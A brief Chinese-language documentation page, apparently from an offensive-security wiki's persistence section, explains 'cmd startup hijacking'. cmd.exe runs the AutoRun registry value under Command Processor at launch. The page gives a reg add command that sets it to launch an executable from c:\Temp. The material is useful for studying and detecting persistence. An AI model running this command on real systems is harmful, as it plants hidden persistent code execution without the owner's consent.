> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/persistence/uncatelogued/command-processor.md).

# cmd启动劫持

在cmd启动时会去注册表“HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Command Processor”中查看是否有AutoRun的健值，如果有则会运行其中的内容

命令行：

```
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\Temp\qwqdanchun.exe" /f
```